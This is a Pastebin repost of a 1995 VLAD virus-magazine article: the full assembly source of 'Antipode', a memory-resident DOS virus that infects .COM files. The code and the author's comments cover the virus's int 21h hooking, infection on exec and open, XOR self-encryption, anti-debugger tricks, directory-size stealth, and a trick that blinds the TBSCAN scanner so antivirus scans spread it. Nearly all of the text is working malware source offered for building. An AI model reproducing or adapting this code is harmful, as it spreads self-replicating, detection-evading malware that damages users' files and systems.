Advertisement
FlyFar

VLAD Magazine - Issue #3 - ARTICLE.4_3 - Antipode

Jun 29th, 2023
1,201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 12.50 KB | Cybersecurity | 0 0
  1. ; Hi guys...
  2. ; Tonight it's Sun 1 Jan 1995     0:03:16 (4DOS Time)
  3. ; The Radio is playing U2's NEW YEARS DAY ;)
  4. ; So, I wish you a Happy NEW YEAR !!!!
  5.  
  6. ; This virus is called Antipode, because of the position of France in
  7. ;       relation to Australia.
  8. ; It's my very first release:
  9. ;       - .COM/.com infection, not COMMAND.COM
  10. ;       - Find-first/next stealth     4e/4f + 11/12
  11. ;       - Time based marker: seconds field=2
  12. ;       - Infects read-only files
  13. ;       - Restores original Time/Date + second=2
  14. ;       - XOR encryption
  15. ;       - Memory resident, using MCB's
  16. ;       - Infection on Exec+Open+Extended Open
  17. ;               it's a pretty fast infector... try to scan your disk when
  18. ;               resident, it will use SCAN/TBSCAN and even F-PROT
  19. ;               as a vector :)
  20. ;       - Write Protect Errors removed by int 24h handler
  21. ;       - I added a little trick to fool Veldman's TBSCAN, when in memory,
  22. ;               TBSCAN don't scan any infected file...
  23.  
  24. ;       I'm sorry, but due to the encryption this virus is a bit tricky to
  25. ;       create:         you must assemble as usual,
  26. ;                       link it to a bin file : IP must be 0
  27. ;                       append it to a .com that just jumps at the end
  28. ;                       now trace the resulting .com and skip the encryption
  29. ;                       but you MUST execute the push dx,
  30. ;                       without getting trapped by Qark :)
  31.  
  32. ;       That's not too hard, but you must be worthy to use this virus :)
  33.  
  34.  
  35.  
  36. exec_adr        =       0000:0100h              ; Address of return
  37.  
  38.         jumps                           ; Allow Tasm to resolve too
  39.                         ; long jumps
  40. virusseg        segment byte public
  41.         assume  cs:virusseg, ds:virusseg
  42.  
  43.         org     0000h                   ; Begin the virus at IP=0
  44.  
  45. start:
  46.         push    ds:[101h]               ; 101=offset of the jump
  47.         pop     dx
  48.         add     dx,103h                 ; Dx=offset start
  49.         push    dx                      ; put it on the stack
  50.  
  51.         mov     si,offset quit          ; adaptation of Qarks routine
  52.                         ; to fool debuggers
  53.         add     si,dx
  54.         mov     word ptr ds:[si],20CDh
  55. quit:           mov     word ptr ds:[si],04C7h
  56.                         ; Heuristics and debuggers
  57.                         ; won't find us now.
  58.         call    cryptage                ; decrypt the virus
  59.         jmp debut_cr                    ; jump to the virus
  60.  
  61. cryptage        proc near
  62.         mov     si,offset debut_cr      ; start of the encrypted area
  63.         add     si,dx                   ; fix it
  64.         mov     di,si                   ; use si as the xor value
  65. cryptage_2      proc near                       ; this proc will be called to
  66.                         ; encrypt the virus
  67.         mov     cx,offset last-offset debut_cr
  68.                         ; cx=length to encrypt
  69. cr:             xor     word ptr ds:[si],di     ; enc/decrypt the virus
  70.         inc     si                      ; move to next byte
  71.         loop    cr                      ; and enc/decrypt the virus
  72.         ret
  73. cryptage_2      endp
  74. cryptage        endp
  75.  
  76. debut_cr:      
  77.         mov     si,offset buffer        ; Buffer contains original
  78.                         ; bytes of the virus
  79.         add     si,dx                   ; fix it once again
  80.         mov     di,100h                 ; destination is entrypoint
  81.         push    cs
  82.         pop     es
  83.         movsw
  84.         movsb                           ; Patch back to the original
  85.  
  86.         mov     ah,02ch                 ; Ask for the Time
  87.         int     21h
  88.         cmp     dl,242                  ; Are we in memory ?
  89.         jne     not_in_ram              ; if not, install
  90.         push    cs
  91.         mov     ax,100h
  92.         push    ax
  93.         retf                            ; go back to original entry
  94.  
  95. not_in_ram:
  96.         push    cs
  97.         pop     ax
  98.         dec     ax
  99.         mov     ds,ax                   ; DS -> MCB
  100.         inc     ax
  101.         mov     cx,word ptr ds:[0003]
  102.         mov     dx,cx                   ; DX=number of parag. left
  103.         add     dx,ax
  104.         sub     cx,(((last2-start)/16)+1)*2
  105.                         ; alloc 2*size of the virus
  106.         mov     word ptr ds:[0003],cx   ; fix the MCB
  107.         mov     cx,dx
  108.         sub     cx,(((last2-start)/16)+1)*2
  109.         mov     es,cx                   ; es=future cs of the virus
  110.         mov     cx,(last2-start)+1      ; size of the virus
  111.         push    cs
  112.         pop     ds
  113.         pop     dx
  114.         mov     si,dx                   ; si = entry of the virus
  115.  
  116.         push    si
  117.         push    cx
  118.  
  119.         mov     di,0
  120.         rep movsb                       ; copy the virus to es:0
  121.  
  122.         pop     cx
  123.         pop     si
  124.  
  125.         rep movsb                       ; once again
  126.  
  127.         push    es
  128.         mov     cx,offset nextstep
  129.         push    cx
  130.         retf                            ; Jump to ES:IP
  131.         ;install the virus in ram and hook vectors
  132. nextstep:                                       ; We are at the top of mem
  133.  
  134.         push    cs
  135.         pop     ds
  136.         mov     word ptr ds:[farjmp+3],ax
  137.                         ; Fix the return adress
  138.  
  139.         mov     ax,3521h                ; Save the int 21h vectors
  140.         int     21h
  141.         mov     ds:word ptr save_int21+2,es    
  142.         mov     ds:word ptr save_int21,bx
  143.  
  144.         mov     dx,offset my_int21      ; Use our int instead
  145.         mov     ax,2521h
  146.         int     21h
  147.  
  148. farjmp:         jmp far ptr exec_adr            ;Return to the original
  149.  
  150.  
  151. my_int21        proc    far
  152.         cmp     ah,11h          ; Find first
  153.         je      dir_stealth
  154.         cmp     ah,12h          ; Find next
  155.         je      dir_stealth
  156.         cmp     ah,4Eh          ; Find first
  157.         je      find_file
  158.         cmp     ah,4Fh          ; Find next
  159.         je      find_file
  160.         cmp     ah,3dh          ; File open
  161.         je      check_it
  162.         cmp     ah,4bh          ; Exec
  163.         je      check_it
  164.         cmp     ah,6ch          ; Extended open
  165.         je      check_it
  166.         cmp     ah,4ch
  167.         je      terminate
  168.         cmp     ah,02ch         ; Time
  169.         jne     to_vect
  170.  
  171.         call    int21
  172.  
  173.         mov     dl,242          ; seconds = 242
  174.         push    cs
  175.         pop     bx
  176.         iret
  177. check_it:
  178.         jmp     check_it2
  179.  
  180. dir_stealth:
  181.         call    int21
  182.         test    al,al
  183.         jnz     not_a_file
  184.  
  185.         pushf
  186.         push    ax
  187.         push    bx
  188.         push    es
  189.  
  190.         mov     ah,51h
  191.         int     21h
  192.  
  193.         mov     es,bx
  194.         cmp     bx,es:[16h]
  195.         jnz     not_infected
  196.         mov     bx,dx
  197.         mov     al,[bx]
  198.         push    ax
  199.         mov     ah,2fh
  200.         int     21h
  201.         pop     ax
  202.         inc     al
  203.         jnz     fcb_ok
  204.         add     bx,7h
  205. fcb_ok:         mov     ax,es:[bx+17h]
  206.         add     bx,3
  207.         jmp     patch_size
  208. find_file:
  209.         call    int21
  210.         jc      not_a_file
  211.         pushf
  212.         push    ax
  213.         push    bx
  214.         push    es
  215.  
  216.         mov     ah,2Fh
  217.         int     21h                     ; Ask for the DTA
  218.  
  219.         mov     ax,es:[bx+16h]          ; ax=time
  220. patch_size:
  221.         and     al,1fh                  ; ax=seconds
  222.         xor     al,1                    ; are seconds=2 ?
  223.         jnz     not_infected
  224.         mov     ax,offset last-offset start
  225.                         ; ax = size of the virus
  226.         cmp     byte ptr cs:[tbscan_active],1
  227.                         ; is TBSCAN active ?
  228.         jne     dont_fool
  229.         mov     ax,word ptr es:[bx+1Ah] ; if active the file size = 0
  230.  
  231. dont_fool:      sub     word ptr es:[bx+1Ah],ax
  232.                         ; sub virus size to file size
  233.  
  234. not_infected:
  235.         pop      es
  236.         pop      bx
  237.         pop      ax
  238.         popf
  239.  
  240. not_a_file:
  241.         retf 2                          ; no iret to save the flags
  242.                         ; thanks to Qark...
  243.  
  244. check_it2:      pushf
  245.         push    ax
  246.         push    bx
  247.         push    cx
  248.         push    di
  249.         push    dx
  250.         push    ds
  251.         push    es
  252.         push    si                      ; TOO MANY PUSHS !!!
  253.                         ; OPTIMISE !!!
  254.         mov     byte ptr cs:[function],ah
  255.                         ; save ah for later
  256.         cmp     ax,6c00h
  257.         jne     not_extended
  258.         cmp     dx,0001                 ; int 21h ax=6c00h/dx=0001h->
  259.                         ; int 21 ah=3dh
  260.         jne     no_good
  261.         mov     dx,si                   ; the name -> DS:SI
  262. not_extended:
  263.         push    ds
  264.         push    dx                      ; save filename seg/offs
  265.  
  266.         mov     ax,3524h
  267.         int     21h
  268.         mov     word ptr cs:[save_int24],bx
  269.         mov     word ptr cs:[save_int24+2],es
  270.                         ; save int 24h
  271.         push    cs
  272.         pop     ds
  273.         mov     dx,offset my_int24
  274.         mov     ax,2524h
  275.         int     21h                     ; install our int
  276.  
  277.         pop     dx
  278.         pop     ds                      ; restore the filename
  279.  
  280.         mov     al,00h
  281.         push    ds
  282.         push    ds
  283.         pop     es
  284.         mov     di,dx
  285.         mov     cx,0ffh
  286.         repne   scasb                   ; seek to the end of the name
  287.  
  288.         push    cs
  289.         pop     ds
  290.         cmp     byte ptr cs:[function],4bh
  291.         jne     not_exec
  292.         push    di
  293.         sub     di,11
  294.         mov     si,offset tbscan
  295.         mov     cx,10
  296.         rep     cmpsb
  297.         jnz     not_tbscan
  298.         mov     byte ptr cs:[tbscan_active],1
  299. not_tbscan:
  300.         pop     di
  301. not_exec:
  302.         sub     di,4
  303.         push    di                      ; seek to the extension
  304.  
  305.         mov     si,offset comfile
  306.         mov     cx,3
  307.  
  308.         rep     cmpsb                   ; check if the file is a COM
  309.         pop     di
  310.         jz      good
  311.  
  312.  
  313.         push    di
  314.         mov     si,offset comfile+3
  315.         mov     cx,3
  316.  
  317.         rep     cmpsb                   ; or a com
  318.         pop     di
  319.         jnz     no_good
  320.  
  321. good:
  322.         pop     ds
  323.         cmp     byte ptr [di-2],'D'     ; COMMAND.COM ?
  324.         jnz     not_command            
  325.         cmp     byte ptr [di-8],'C'
  326.         jz      push_no_good
  327.  
  328. not_command:    mov     ax,4300h
  329.         int     21h                     ; get the attributes
  330.  
  331.         mov     word ptr cs:[save_attrib],cx
  332.         jc      exit_2                  ; if no file exists...RUN !!!
  333.  
  334.         mov     ax,4301h
  335.         xor     cx,cx
  336.         int     21h                     ; set zero attributes
  337.  
  338.         push    ds
  339.         push    dx
  340.  
  341.         mov     ax,3d02h                ;Open file Read/write
  342.  
  343.         call    int21
  344.  
  345.         mov     bx,ax                   ; bx = handle
  346.         mov     ax,5700h                ; get file time/date
  347.         int     21h
  348.         mov     cs:[save_time],cx
  349.         mov     cs:[save_date],dx       ; save them
  350.  
  351.         mov     ax,word ptr cs:[save_time]
  352.                         ;Check for an infection
  353.         and     al,1Fh
  354.         xor     al,1    
  355.         je      dirty_exit
  356.  
  357.         push    cs
  358.         pop     ds
  359.         mov     dx,offset buffer+(offset last2-offset start)+1
  360.         mov     cx,end_patch-patch
  361.         mov     ax,3F00h                ; Read xx first bytes
  362.         int     21h                     ; to te buffer of the second
  363.                         ; copy of the virus in memory
  364.  
  365.         xor     cx,cx
  366.         xor     dx,dx
  367.         mov     ax,4202h                ; Seek to EOF..
  368.         int     21h
  369.  
  370.         mov     di,ax                   ; ax = end of file
  371.         add     di,offset debut_cr-offset start+100h
  372.                         ; di = value of the XOR
  373.         sub     ax,3h                   ; ax = adress of the jump
  374.         mov     word ptr cs:[return+1],ax
  375.                         ; patch the future file
  376.         mov     si,(offset last2-offset start)+offset debut_cr+1
  377.                         ; si=offset of the 2nd virus
  378.         push    si
  379.         push    di
  380.  
  381.         call    cryptage_2              ; crypt the 2nd copy
  382.  
  383.         push    cs
  384.         pop     ds
  385.         mov     dx,offset last2+1       ; dx= offset of the 2nd copy
  386.         mov     cx,last-start
  387.         mov     ah,40h
  388.         int     21h                     ; Write the virus to file...
  389.  
  390.         pop     di
  391.         pop     si
  392.  
  393.         call    cryptage_2              ; decrypt the 2nd copy
  394.  
  395.         xor     cx,cx
  396.         xor     dx,dx
  397.         mov     ax,4200h                ; seek to start of file
  398.         int     21h
  399.  
  400.         push    cs
  401.         pop     ds
  402.         mov     dx,offset patch
  403.         mov     cx,end_patch-patch
  404.         mov     ah,40h
  405.         int     21h                     ; write the jump to the file
  406.  
  407.         mov     dx,cs:[save_date]
  408.         mov     cx,cs:[save_time]
  409.         or      cx,0001h
  410.         and     cx,0FFE1h
  411.         mov     ax,5701h
  412.         int     21h                     ; restore file time/date
  413.  
  414. dirty_exit:
  415.         pop     dx
  416.         pop     ds
  417.  
  418.         mov     ah,3eh
  419.         int     21h                     ; close the file
  420.  
  421.  
  422. exit_2:         mov     ax,4301h
  423.         mov     cx,word ptr cs:[save_attrib]
  424.         int     21h                     ; restore the attributes
  425. push_no_good:
  426.         push    ds
  427. no_good:
  428.         pop     ds
  429.         mov     ds,cs:[save_int24+2]
  430.         mov     dx,cs:[save_int24]
  431.         mov     ax,2524h
  432.         int     21h                     ; restore the int 24h
  433.         pop     si
  434.         pop     es
  435.         pop     ds
  436.         pop     dx
  437.         pop     di
  438.         pop     cx
  439.         pop     bx
  440.         pop     ax
  441.         popf
  442. to_vect:        jmp     dword ptr cs:[save_int21]
  443.                         ; and call the int 21h
  444. terminate:
  445.         mov     byte ptr cs:[tbscan_active],0
  446.         jmp     to_vect
  447.  
  448. my_int21        endp
  449.  
  450. my_int24        proc    far                     ; int 24h
  451.         mov     al,0                    ; no problem...
  452.         iret                            ; and return
  453. my_int24        endp
  454.  
  455. comfile         db 'COMcom'                     ; extensions to infect
  456. tbscan          db 'TBSCAN.EXE'
  457.         db '[Antipode 1.0]',0
  458.         db 'by Automag/VLAD'
  459. tbscan_active   db      0
  460. buffer:         db      0CDh,20h,90h    
  461. int21   proc    near
  462.         pushf
  463.         db 9Ah
  464. save_int21      dw      2 dup (?)
  465.         ret
  466. int21   endp
  467.  
  468. patch:
  469. return:         db      0e9h
  470. last:           db      00,00
  471. end_patch:
  472.  
  473.  
  474. save_int24      dw      2 dup (?)
  475. function        db      0
  476. save_attrib     dw      0
  477. save_date       dw      0
  478. save_time       dw      0
  479.  
  480. last2:
  481. virusseg        ends
  482.         end     start
Tags: virus antipode
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement